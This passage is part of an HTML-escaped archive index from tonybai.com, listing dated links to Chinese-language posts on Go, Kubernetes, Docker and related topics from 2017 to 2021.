io/fs设计的第一感觉：得劲儿！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/03/15/rust-vs-go-why-they-are-better-together\"\u003eRust vs. Go：为什么强强联合会更好\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/03/07/go-malware-round-up-2020/\"\u003e究竟是什么让Go语言成为恶意软件作者的最爱\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202102\"\u003e2021.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/02/25/some-changes-in-go-1-16\"\u003eGo 1.16中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/02/18/typing-generic-go-by-griesemer-at-gophercon-2020/\"\u003e“能力越大，责任越大” – Go语言之父详解将于Go 1.18发布的Go泛型\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/02/13/operate-with-shared-resources-in-a-mutually-exclusive-way-through-distributed-lock-implemented-by-redis-cluster\"\u003e基于Redis Cluster的分布式锁实现以互斥方式操作共享资源\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/02/09/create-and-get-db-access-instance-through-singleton\"\u003e以单件方式创建和获取数据库实例\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/02/08/go-programming-language-learning-roadmap-2021\"\u003eGo语言学习技术路线图2021发布了！\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202101\"\u003e2021.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/01/16/upload-and-download-file-using-multipart-form-over-http/\"\u003e使用multipart/form-data实现文件的上传与下载\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/01/08/understand-how-http-package-deal-with-keep-alive-connection\"\u003e通过实例理解Go标准库http包是如何处理keep-alive连接的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/01/07/go-is-boring/\"\u003eGo语言很无聊…其实它妙不可言！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2021/01/02/go-language-13-years/\"\u003eHugo作者、Go核心开发团队成员谈诞生13年的Go语言：生态系统、演化与未来\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零二零\"\u003e二零二零\u003c/h3\u003e\n\u003ch4 id=\"202012\"\u003e2020.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/30/the-2020-review-of-go-programming-language/\"\u003e2020年Go语言盘点：新冠大流行阻挡不了Go演进的步伐\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/26/how-to-deprecate-a-published-version-of-some-specific-go-module/\"\u003e如何作废一个已发布的Go module版本，我来告诉你！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/25/bpf-and-go-modern-forms-of-introspection-in-linux/\"\u003eBPF和Go：在Linux中内省的现代方式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/24/the-disadvantages-of-go/\"\u003eGo语言有哪些“劣势”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/18/go-ports-until-202012/\"\u003eGo语言对ARM架构的支持与未来\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/17/where-is-the-source-of-builtin-functions/\"\u003e一文告诉你神奇的Go内建函数源码在哪里\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/15/how-to-see-the-manual-of-go-history-version\"\u003e如何查看历史版本的Go文档？嘘！答案我只告诉你！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/12/a-forward-look-to-new-feature-of-go-1-16/\"\u003eGo 1.16新功能特性不完全前瞻\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/10/a-kind-of-thinking-about-how-to-trace-function-call-chain\"\u003eGo函数调用链跟踪的一种实现思路\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/03/should-you-commit-the-vendor-folder-in-go/\"\u003evendor目录是否需要提交到代码库中？答案全在这一篇\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/12/01/go-is-the-tesla-of-programming-world/\"\u003eGo是编程语言世界的“特斯拉”\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202011\"\u003e2020.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/11/28/how-to-experience-go-generics-first\"\u003e一文告诉你如何抢先体验Go泛型\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/11/26/slice-sort-in-go\"\u003e一文搞懂Go语言中的切片排序\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/11/22/zssq-gopher-tribe-born/\"\u003e“Gopher部落”知识星球开球了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/11/15/another-approach-to-customize-package-import-path/\"\u003e没有VPS搭建govanityurls服务？别急！你依然可以自定义Go包导入路径\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/11/13/go-is-a-successful-and-zero-regret-choice-for-us-by-hashicorp-founder/\"\u003eHashiCorp联合创始人：Go是成功且无悔的选择\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/11/11/go-opensource-11-years/\"\u003eGo，11周年\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/11/10/understand-sync-map-inside-through-examples/\"\u003e通过实例深入理解sync.Map的工作原理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/11/05/the-sequela-after-being-used-to-writting-code-in-go/\"\u003e重度使用Go的“后遗症“，你有吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/11/04/the-recommend-books-list-for-learning-go/\"\u003e系统学习Go语言，有这几本书就够了！\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202010\"\u003e2020.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/10/11/some-changes-in-go-1-15/\"\u003eGo 1.15中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202009\"\u003e2020.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/09/08/imooc-go-column-is-available/\"\u003e官宣：Go专栏“改善Go语言编程质量的50个有效实践”上线了\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202008\"\u003e2020.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/08/30/new-case-studies-about-googles-use-of-go/\"\u003eGoogle内部是如何使用Go语言的\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202007\"\u003e2020.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/07/29/my-second-daughter-was-born/\"\u003e又当爸爸了！\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202006\"\u003e2020.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/06/27/gohugo-vs-mdbook-vs-peach/\"\u003e基于Markdown格式的电子书生成工具大比拼：gohugo、mdbook和peach\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/06/18/the-go-generics-is-coming-and-supported-in-go-1-17-at-the-earliest/\"\u003eGo泛型真的要来了！最早在Go 1.17版本支持\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/06/07/hit-100-happy-birthday/\"\u003e亲爱的母校哈工大，100岁生日快乐！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/06/04/the-issue-of-go-xml-package-rewrite-carriage-return/\"\u003e关于xml包在Unmarshal时将\\r\\n重写为\\n的问题\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202005\"\u003e2020.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/05/03/guoguo-ten-years-old/\"\u003e果果十周岁了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/05/01/rob-pike-interview-go-become-the-language-of-cloud-infrastructure/\"\u003eGo语言联合作者Rob Pike专访：Go确实已成为云基础架构的语言\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/05/01/comparison-between-java-go-and-rust/\"\u003e后端程序员一定要看的语言大比拼：Java vs. Go vs. Rust\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202004\"\u003e2020.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/04/24/gogoprotobuf-vs-goprotobuf-v1-and-v2/\"\u003ego protobuf v1败给了gogo protobuf，那v2呢？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/04/07/illustrated-tale-of-git-internal-key-concepts/\"\u003e图解git原理的几个关键概念\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202003\"\u003e2020.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/03/29/hello-wireguard/\"\u003eHello，WireGuard\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/03/21/illustrated-tales-of-go-runtime-scheduler/\"\u003e图解Go运行时调度器\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/03/16/build-high-performance-object-storage-with-minio-part1-prototype/\"\u003e使用minio搭建高性能对象存储-第一部分：原型\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/03/10/visualizing-memory-management-in-golang/\"\u003e可视化Go内存管理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/03/09/take-care-of-the-go-directive-in-go-dot-mod/\"\u003e小心go.mod中的go directive\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/03/08/some-changes-in-go-1-14/\"\u003eGo 1.14中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202002\"\u003e2020.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/02/24/the-zen-of-go/\"\u003eGo语言之禅\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2020/02/20/a-visual-guide-to-golang-memory-allocator-from-ground-up/\"\u003e图解Go内存分配器\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零一九\"\u003e二零一九\u003c/h3\u003e\n\u003ch4 id=\"201912\"\u003e2019.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/12/21/go-modules-minimal-version-selection/\"\u003eGo modules：最小版本选择\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/12/08/k8s-deployment-troubleshooting/\"\u003eKubernetes Deployment故障排除图解指南\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201911\"\u003e2019.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/11/19/computational-reproducibility-some-challenges/\"\u003e计算重现性：一些挑战\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/11/14/what-the-godev-website-bring-to-gophers/\"\u003eGo官方发布的go.dev给gopher们带来了什么\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/11/09/go-opensource-10-years/\"\u003eGo语言开源十周年\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/11/08/security-assessment-techniques-for-go-projects/\"\u003eGo语言项目的安全评估技术\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/11/07/non-ascii-character-encoding-illustrated/\"\u003e图解中文字符编码-Go语言例解\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/11/04/the-legacy-of-go/\"\u003eGo语言的遗产\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201910\"\u003e2019.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/10/27/some-changes-in-go-1-13/\"\u003eGo 1.13中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/10/21/how-to-deploy-a-kubernetes-cluster-with-ubuntu-server-18-04/\"\u003e如何在Ubuntu 18.04 Server上部署Kubernetes集群\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/10/18/errors-handling-in-go-1-13/\"\u003eGo 1.13中的错误处理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/10/12/uber-go-style-guide/\"\u003eUber Go语言编码规范\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/10/11/autoscaling-apps-on-kubernetes/\"\u003e在Kubernetes上如何基于自定义指标实现应用的自动缩放\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201909\"\u003e2019.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/09/28/how-to-build-websockets-in-go/\"\u003e如何在Go语言中使用Websockets：最佳工具与行动指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/09/21/brief-history-of-go-package-management/\"\u003eGo语言包管理简史\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/09/07/go-retrospective/\"\u003eGo语言回顾：从Go 1.0到Go 1.13\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/09/05/kubernetes-node-size/\"\u003e构建Kubernetes集群 – 选择工作节点大小\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201908\"\u003e2019.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/08/31/kubectl-productivity-part3/\"\u003e提高您的kubectl生产力（第三部分）：集群上下文切换、使用别名减少输入和插件扩展\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/08/30/kubectl-productivity-part2/\"\u003e提高您的kubectl生产力（第二部分）：命令完成、资源规范快速查看和自定义列输出格式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/08/29/kubectl-productivity-part1/\"\u003e提高您的kubectl生产力（第一部分）：什么是kubectl\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/08/21/introduction-on-tech-protocol-of-transfering-value-added-sms/\"\u003e增值类业务短信收发协议介绍\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/08/20/introduction-to-value-added-sms-in-graphic-form/\"\u003e增值类短信业务图文简介\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201907\"\u003e2019.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/07/25/illustrate-3gpp-spec-docs-structure-and-numbering/\"\u003e图解3GPP规范文档组织结构与编号规则\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201906\"\u003e2019.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/06/25/using-git-with-svn-repo/\"\u003e使用git操作svn仓库\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/06/03/the-practice-of-upgrading-major-version-under-go-module/\"\u003eGo module机制下升级major版本号的实践\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201905\"\u003e2019.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/05/03/go-is-on-a-trajectory-to-become-the-next-enterprise-programming-language/\"\u003eGo正走在成为下一个企业级编程语言的轨道上\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201904\"\u003e2019.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/04/20/deploy-workload-in-weave-network-using-nomad/\"\u003e使用nomad在weave网络中部署工作负载\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/04/18/benchmark-result-of-k8s-network-plugin-cni/\"\u003eKubernetes网络插件（CNI）基准测试的最新结果\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/04/09/upgrade-workload-using-nomad/\"\u003e使用nomad实现工作负载版本升级\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/04/04/notes-about-fixing-a-go-panic-problem/\"\u003e记一次go panic问题的解决过程\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201903\"\u003e2019.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/03/30/cluster-management-and-microservice-deployment-and-scheduled-by-nomad/\"\u003e使用nomad实现集群管理和微服务部署调度\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/03/02/some-changes-in-go-1-12/\"\u003eGo 1.12中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201902\"\u003e2019.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/02/25/introduction-to-yaml-creating-a-kubernetes-deployment/\"\u003eYAML入门：以创建一个Kubernetes deployment为例\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201901\"\u003e2019.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/01/27/perspective-study-on-go2-error-inspection/\"\u003eGo2 Error Inspection前瞻\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2019/01/08/go-and-soap/\"\u003eGo和SOAP\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零一八\"\u003e二零一八\u003c/h3\u003e\n\u003ch4 id=\"201811\"\u003e2018.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/11/26/hello-go-module-proxy/\"\u003eHello，Go module proxy\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003eGo 1.11中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/11/12/go-opensource-9-years/\"\u003eGo，9周年\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201810\"\u003e2018.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/10/17/imooc-course-kubernetes-practice-go-online/\"\u003e官宣：慕课网课程“Kubernetes实战：高可用集群搭建、配置、运维与应用”上线了\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201809\"\u003e2018.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/09/10/setup-service-discovery-and-load-balance-based-on-consul/\"\u003e基于consul实现微服务的服务发现和负载均衡\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201807\"\u003e2018.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/07/15/hello-go-module/\"\u003e初窥Go module\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201806\"\u003e2018.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/06/25/the-kubernetes-ingress-practice-for-https-service/\"\u003eHTTPS服务的Kubernetes ingress配置实践\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/06/21/kubernetes-ingress-controller-practice-using-four-examples/\"\u003e实践kubernetes ingress controller的四个例子\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/06/14/the-authentication-and-authorization-of-kubectl-when-accessing-k8s-cluster/\"\u003e使用kubectl访问Kubernetes集群时的身份验证和授权\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/06/13/setup-efk-on-kubernetes-1-10-3-in-the-hard-way/\"\u003e在Kubernetes 1.10.3上以Hard模式搭建EFK日志分析平台\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201805\"\u003e2018.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/05/11/the-analysis-of-a-go-code-snippet-about-code-blocks-and-scope/\"\u003e对一段有关Go Code Block和变量作用域的代码的简要分析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/05/02/imooc-course-kubernetes-open-the-gate-to-cloudnative-go-online/\"\u003e慕课网免费课“Kubernetes：开启云原生之门”上线\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201804\"\u003e2018.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/04/06/the-problems-i-encountered-when-writing-go-code-issue-3rd/\"\u003e写Go代码时遇到的那些问题[第3期]\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201803\"\u003e2018.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/03/23/the-analysis-of-the-param-evaluation-of-defer-functions/\"\u003edefer函数参数求值简要分析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/03/20/the-analysis-of-output-results-of-a-go-code-snippet/\"\u003e对一段Go语言代码输出结果的简要分析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/03/03/10th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第10期]\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201802\"\u003e2018.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/02/17/some-changes-in-go-1-10/\"\u003eGo 1.10中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/02/11/9th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第9期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/02/03/8th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第8期]\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201801\"\u003e2018.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/01/28/7th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第7期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/01/27/the-problems-i-encountered-when-writing-go-code-issue-2nd/\"\u003e写Go代码时遇到的那些问题[第2期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/01/20/6th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第6期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/01/14/5th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第5期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/01/13/the-problems-i-encountered-when-writing-go-code-issue-1st/\"\u003e写Go代码时遇到的那些问题[第1期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/01/06/4th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第4期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2018/01/03/an-intro-of-microservices-governance-by-istio/\"\u003e使用istio治理微服务入门\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零一七\"\u003e二零一七\u003c/h3\u003e\n\u003ch4 id=\"201712\"\u003e2017.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/12/30/3rd-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第3期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/12/22/2nd-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第2期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/12/21/the-concise-history-of-docker-image-building/\"\u003e追求极简：Docker镜像构建演化史\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/12/19/1st-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/\"\u003eTB一周萃选[第1期]\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/12/08/deploy-high-availability-harbor-on-kubernetes-cluster/\"\u003e在Kubernetes集群上部署高可用Harbor镜像仓库\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201711\"\u003e2017.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/11/23/the-simple-analysis-of-goroutine-schedule-examples/\"\u003eGoroutine调度实例简要分析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/11/11/multi-stage-image-build-in-docker/\"\u003e理解Docker的多阶段镜像构建\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/11/09/hello-termux/\"\u003eHello，Termux\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/11/06/explain-docker-single-host-network-using-iptables-trace-and-ebtables-log/\"\u003e再谈Docker容器单机网络：利用iptables trace和ebtables log\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201710\"\u003e2017.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca 